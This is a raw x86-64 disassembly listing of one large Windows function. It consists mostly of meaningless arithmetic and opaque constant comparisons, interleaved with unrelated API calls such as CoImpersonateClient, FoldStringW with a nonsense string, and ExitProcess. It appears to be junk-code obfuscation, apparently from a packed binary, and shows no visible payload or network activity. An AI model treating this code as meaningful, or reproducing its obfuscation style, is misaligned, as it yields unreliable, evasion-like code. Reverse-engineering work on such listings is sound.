mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x25178]
mov qword [rax], rdx
mov rax, qword [rbp + 0xfa8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6294]
add edx, eax
mov rax, qword [rbp + 0x250a8]
mov dword [rax], edx
mov rdx, qword [rbp + 0x608]
mov rax, qword [rbp + 0x1c00]
and rdx, rax
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x6e50]
add edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x3525]
movzx eax, byte [rbp + 0x719a]
add eax, edx
mov byte [rbp + 0x1007], al
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2142], ax
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
add edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
movzx edx, word [rbp + 0x5160]
movzx ecx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x4ef8]
mov rax, qword [rbp + 0x560]
sub rdx, rax
mov qword [rbp + 0x608], rdx
mov edx, dword [rbp + 0x5244]
mov rax, qword [rbp + 0x24760]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x3cd8], edx
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25178]
mov rax, qword [rax]
or rax, rdx
mov qword [rbp + 0x1278], rax
movzx eax, word [rbp + 0x5160]
movzx edx, ax
movzx eax, word [rbp + 0x2ca]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x24740]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2142]
xor eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3529]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x6310]
mov byte [rax], dl
mov rax, qword [rbp + 0x1618]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xe69]
and eax, edx
mov byte [rbp + 0x391f], al
movzx ecx, byte [rbp + 0x3525]
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x2b68]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24768]
mov rax, qword [rax]
add rax, rdx
mov qword [0x140175030], rax
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x1970]
and eax, edx
mov dword [rbp + 0x114], eax
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4730]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x250a8]
mov dword [rax], edx
cmp dword [rbp + 0x2511c], 0x7074
jbe 0x14000cb86
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
movabs rdx, 0x3d5bd1166d07647c
cmp rax, rdx
je 0x14015acfc
movabs rdx, 0x5910befaf56cb800
cmp rax, rdx
jne 0x14015ae35
jmp 0x14000d032
nop
mov rax, qword [rbp + 0x24740]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2142]
add edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x250a8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6294]
add eax, edx
mov dword [0x140175040], eax
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x1278], rdx
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x361c]
mov edx, dword [rbp + 0x1970]
mov rax, qword [rbp + 0x5868]
and edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x3fc5]
movzx ecx, byte [rbp + 0x1007]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5160]
add eax, edx
mov word [rbp + 0x2c82], ax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x5308]
mov byte [rax], dl
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24740]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2142]
xor eax, edx
mov word [rbp + 0x6e26], ax
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [0x140175038]
or edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x114]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x66e4], eax
mov r8d, dword [0x140170320]
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov rax, qword [rbp + 0xfa8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4730]
mov rax, qword [rax]
and rax, rdx
mov qword [rbp + 0x4398], rax
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2bd0], rdx
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add eax, edx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
movzx eax, byte [0x140170318]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x2e48]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [0x140175038]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4730]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4ef8]
sub rdx, rax
mov rax, qword [rbp + 0x250b8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2aa4]
mov rax, qword [rbp + 0xfa8]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x1970]
mov rax, qword [rbp + 0x5868]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x361c], eax
movzx ecx, byte [rbp + 0x1007]
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x5f20]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6e50]
mov word [rax], dx
movzx edx, byte [0x14017031c]
movzx eax, byte [rbp + 0x391f]
or eax, edx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2142]
and edx, eax
mov rax, qword [rbp + 0x25088]
mov word [rax], dx
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5160]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2e80], rdx
mov rax, qword [rbp + 0x24760]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5868]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [0x140175030]
mov rax, qword [rbp + 0x250b8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov edx, dword [rbp + 0x4e40]
mov eax, dword [rbp + 0x2b44]
sub edx, eax
mov dword [rbp + 0x6294], edx
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x25088]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
movzx eax, byte [rbp + 0x719a]
movzx edx, al
movzx eax, byte [rbp + 0x3525]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x3fc5], al
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5160]
mov rax, qword [0x140175038]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4ef8]
or rax, rdx
mov qword [rbp + 0x560], rax
sub dword [rbp + 0x25180], 0x26
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25178]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x2a40]
shl rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x114]
mov rax, qword [rbp + 0x5868]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x361c], edx
cmp dword [rbp + 0x25180], 0xc2d5
ja 0x14000d031
movzx eax, byte [rbp + 0x3529]
movsx eax, al
test eax, eax
jne 0x14015ac32
mov rax, qword [rbp + 0x250b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4ef8]
lea rcx, [rdx + rax]
mov rdx, qword [0x140175030]
mov rax, qword [rbp + 0x560]
sub rdx, rax
cmp rcx, rdx
jl 0x14015ab6a
mov rax, qword [rbp + 0x25178]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3cc8]
xor rdx, rax
mov r8, rdx
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
cmp r8, rax
je 0x14000d58f
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
mov ecx, eax
call fcn.140003793
mov rax, qword [rbp + 0xfa8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x250a8]
mov dword [rax], edx
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5160]
and eax, edx
movzx ecx, ax
movzx eax, word [rbp + 0x2c82]
movzx edx, ax
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jne 0x14000d6b6
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
mov ecx, edx
sub ecx, eax
movzx eax, word [rbp + 0x2142]
movsx edx, ax
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
cwde
add eax, edx
cmp ecx, eax
jge 0x14000d655
mov rdx, qword [rbp + 0x1c00]
mov rax, qword [rbp + 0x24768]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2bd0], rdx
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
sub edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
jmp 0x14000d6b6
mov rax, qword [rbp + 0x4ef8]
test rax, rax
jne 0x14000d699
mov eax, dword [rbp + 0x1970]
cmp eax, 0x32b481cb
jne 0x14000d696
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x5244]
mov ecx, eax
call fcn.14015ba84
mov rax, qword [sym.imp.ole32.dll_CoResumeClassObjects]
call rax
mov dword [rbp + 0x2014], eax
jmp 0x14000d697
nop
jmp 0x14000d6b6
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x1007], al
nop
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
cwde
cmp eax, 0x7c2
jne 0x14000d71e
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3525]
or edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [sym.imp.ole32.dll_CoImpersonateClient]
call rax
mov dword [rbp + 0x24738], eax
movzx eax, word [rbp + 0x6e26]
movsx ecx, ax
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov r8d, ecx
mov rcx, rax
call fcn.140003b33
jmp 0x14000d793
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0xe69]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x5308]
mov byte [rax], dl
mov rax, qword [rbp + 0x1c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25100]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [0x140170330], eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov word [rbp + 0x2bee], ax
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4730]
xor rdx, rcx
mov qword [rax], rdx
nop
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3fc5]
and eax, edx
movzx ecx, al
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1007]
movzx eax, al
sub edx, eax
cmp ecx, edx
jg 0x14015aa1c
mov rax, qword [rbp + 0x2e48]
movzx eax, word [rax]
cwde
cmp eax, 0x6e2d
jne 0x14000d8e6
mov rax, qword [rbp + 0x5150]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x6e50]
xor edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0x3cd8]
mov eax, dword [rbp + 0x6aa4]
and edx, eax
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
sub ecx, eax
cmp ecx, edx
jb 0x14000d844
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2bee]
add eax, edx
mov word [0x140175044], ax
call fcn.14015bdf7
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
cmp eax, 0x695
jne 0x14000d8c2
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x2c82]
mov rax, qword [rbp + 0x5150]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2b44]
add eax, edx
mov dword [rbp + 0x2aa4], eax
lea rax, [rbp + 0x3690]
mov dword [rsp + 0x20], 0xc4
mov r9, rax
mov r8d, 0x46
lea rax, str.Inexpertly_invisibilities_conventionalist_Undroppable_mien
mov rdx, rax
mov ecx, 0x2f
mov rax, qword [sym.imp.KERNEL32.dll_FoldStringW]
call rax
mov dword [rbp + 0x1bcc], eax
jmp 0x14000d8e1
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
and rdx, rcx
mov qword [rax], rdx
nop
jmp 0x14000d980
mov rax, qword [rbp + 0x250b8]
mov rax, qword [rax]
test rax, rax
jne 0x14000d966
lea rax, [rbp + 0x114]
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2142]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
mov word [rbp + 0x6842], ax
movzx eax, byte [rbp + 0x3525]
movzx edx, byte [rbp + 0x3fc5]
sub eax, edx
mov byte [rbp + 0x1007], al
jmp 0x14000d97f
movzx eax, byte [rbp + 0x3529]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add eax, edx
mov byte [0x14017031c], al
nop
nop
mov rax, qword [rbp + 0x25100]
mov edx, dword [rax]
mov eax, dword [rbp + 0x361c]
mov ecx, eax
shl edx, cl
mov ecx, edx
mov edx, dword [0x140170330]
mov eax, dword [rbp + 0x66e4]
or eax, edx
cmp ecx, eax
jae 0x14000da3c
movzx eax, byte [rbp + 0x3529]
movsx eax, al
cmp eax, 0x4a
je 0x14000da22
cmp eax, 0x7c
jne 0x14000da3c
movzx eax, byte [rbp + 0xe69]
movsx edx, al
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6310]
mov byte [rax], dl
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
movsx r8d, al
mov rax, qword [rbp + 0x25178]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x250b8]
mov rax, qword [rax]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call fcn.1400033f0
jmp 0x14000da3c
mov rax, qword [rbp + 0x3958]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindVolumeClose]
call rax
mov dword [rbp + 0x24774], eax
nop
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3525]
xor edx, eax
mov rax, qword [rbp + 0x2b68]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x719a]
and eax, ecx
cmp al, dl
jae 0x14000dae5
lea rcx, [rbp + 0x2b68]
mov rdx, qword [rbp + 0xf08]
mov rax, qword [rbp + 0x74d0]
mov r9d, 0x4a
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call rax
mov dword [rbp + 0x2bf4], eax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rax, qword [sym.imp.ole32.dll_CoRevertToSelf]
call rax
mov dword [rbp + 0x2014], eax
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov rax, qword [rbp + 0xfa8]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x2b44], eax
jmp 0x14015a9d2
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3fc5]
movzx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx eax, al
sub edx, eax
cmp ecx, edx
jg 0x14015a9d2
mov rax, qword [rbp + 0x25178]
mov rdx, qword [rax]
movabs rax, 0xe43accc01c458f11
cmp rdx, rax
jne 0x14000db7b
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x25178]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x361c]
mov ecx, eax
call fcn.14015ba84
jmp 0x14015a98b
lea rax, [rbp + 0x719a]
mov qword [rbp + 0x24730], rax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x250c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x2b68]
movzx eax, byte [rax]
or eax, edx
movzx edx, al
movzx eax, byte [rbp + 0x1007]
movzx r8d, al
movzx eax, byte [0x140170318]
movzx eax, al
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x14000dc46
mov edx, dword [rbp + 0x3cd8]
mov eax, dword [rbp + 0x114]
sub edx, eax
mov dword [rbp + 0x6aa4], edx
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x4730]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x2142]
cwde
cmp eax, 0x565b
jne 0x14015ab15
jmp 0x14015ab25
mov rdx, qword [0x140175030]
mov rax, qword [rbp + 0x608]
add rdx, rax
mov rax, qword [rbp + 0x250b8]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4ef8]
movabs rax, 0x77514ac587979803
cmp rdx, rax
jne 0x14015aa8d
lea rdx, [rbp + 0x4278]
mov dword [rsp + 0x28], 8
lea rax, [rbp + 0x3690]
mov qword [rsp + 0x20], rax
lea r9, str.Mitigatory_jaundiced_falteringly
mov r8, rdx
mov edx, 0xd9
mov ecx, 0xa4
mov rax, qword [sym.imp.KERNEL32.dll_GetTimeFormatW]
call rax
mov dword [rbp + 0x6294], eax
jmp 0x14015aa8e
nop
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x250b8]
mov rax, qword [rax]
add rax, rdx
cmp rcx, rax
jle 0x14015ab07
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25178]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x3cc8]
mov rcx, qword [rbp + 0x1278]
shr rax, cl
cmp rax, rdx
jae 0x14015ab07
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x719a]
or eax, edx
mov byte [rbp + 0x3525], al
mov ecx, 0x4f
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp + 0x25100]
mov eax, dword [rax]
mov dword [rbp + 0x1970], eax
nop
mov ecx, dword [rbp + 0x2aa4]
mov edx, dword [rbp + 0x10f0]
mov rax, qword [rbp + 0x4228]
add edx, ecx
mov dword [rax], edx
lea rdx, [rbp + 0x6a60]
mov rax, qword [rbp + 0x250d8]
mov r9d, 1
mov r8, rdx
mov edx, 0xe6
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetScrollInfo]
call rax
mov dword [rbp + 0x2b44], eax
mov rax, qword [rbp + 0x24760]
mov eax, dword [rax]
cmp eax, 0x5d439c1b
je 0x14015abc4
cmp eax, 0xbe7b83c1
jne 0x14015abc5
lea r8, [rbp + 0x3220]
lea rdx, [rbp + 0x6c20]
lea rax, [rbp + 0x719a]
mov dword [rsp + 0x28], 0x7c
lea rcx, [rbp + 0x3958]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc6
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
call rax
mov dword [rbp + 0x2473c], eax
jmp 0x14015abc5
nop
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x719a]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x5308]
movzx edx, byte [rax]
movzx eax, byte [0x14017031c]
and eax, edx
mov byte [rbp + 0x391f], al
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
movzx eax, word [rbp + 0x2c82]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [0x140175038]
mov word [rax], dx
mov edx, dword [rbp + 0x1970]
mov eax, dword [rbp + 0x3cd8]
or eax, edx
mov dword [rbp + 0x361c], eax
jmp 0x14015ac72
mov rax, qword [rbp + 0x24740]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x6e26], ax
lea rdx, [rbp + 0x3690]
lea rax, [rbp + 0xe30]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
call rax
mov dword [rbp + 0x24708], eax
nop
mov rax, qword [rbp + 0x5308]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x391f]
and eax, edx
movsx ecx, al
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0xe69]
movsx eax, al
sub edx, eax
cmp ecx, edx
jg 0x14015acaa
call fcn.14015baac
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x6f78]
sub edx, eax
mov rax, qword [rbp + 0x250a8]
mov dword [rax], edx
lea rax, [rbp + 0x18f8]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoFileTimeNow]
call rax
mov dword [rbp + 0x165c], eax
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
movzx edx, word [0x14017031a]
mov rax, qword [rbp + 0x6e50]
add edx, ecx
mov word [rax], dx
jmp 0x14015ae35
movzx eax, byte [rbp + 0x3529]
movsx eax, al
cmp eax, 0x2d
jne 0x14015ad2a
movzx edx, word [rbp + 0x5160]
movzx ecx, word [rbp + 0x2ca]
mov rax, qword [rbp + 0x5150]
sub edx, ecx
mov word [rax], dx
jmp 0x14015ae34
mov rax, qword [rbp + 0x4730]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25178]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2e80]
xor rax, rdx
cmp rcx, rax
jb 0x14015adec
lea r9, [rbp + 0x3529]
lea r8, [rbp + 0x1e20]
lea rdx, [rbp + 0x18f8]
lea rax, [rbp + 0x2c1a]
lea rcx, [rbp + 0xb80]
mov qword [rsp + 0x38], rcx
lea rcx, [rbp + 0x3d30]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xfa8]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x4d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
call rax
mov dword [rbp + 0x24750], eax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x250c0]
mov byte [rax], dl
jmp 0x14015ae33
lea rcx, [rbp + 0x2c1a]
lea rdx, [rbp + 0x18f8]
lea rax, [rbp + 0x1338]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
call rax
mov dword [rbp + 0xf70], eax
mov rax, qword [rbp + 0x24740]
movzx edx, word [rax]
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x6e26], ax
nop
nop
mov eax, dword [rbp + 0x5244]
cmp eax, 0x983c0911
je 0x14015ae5b
cmp eax, 0xd209dbef
jne 0x14015ae93
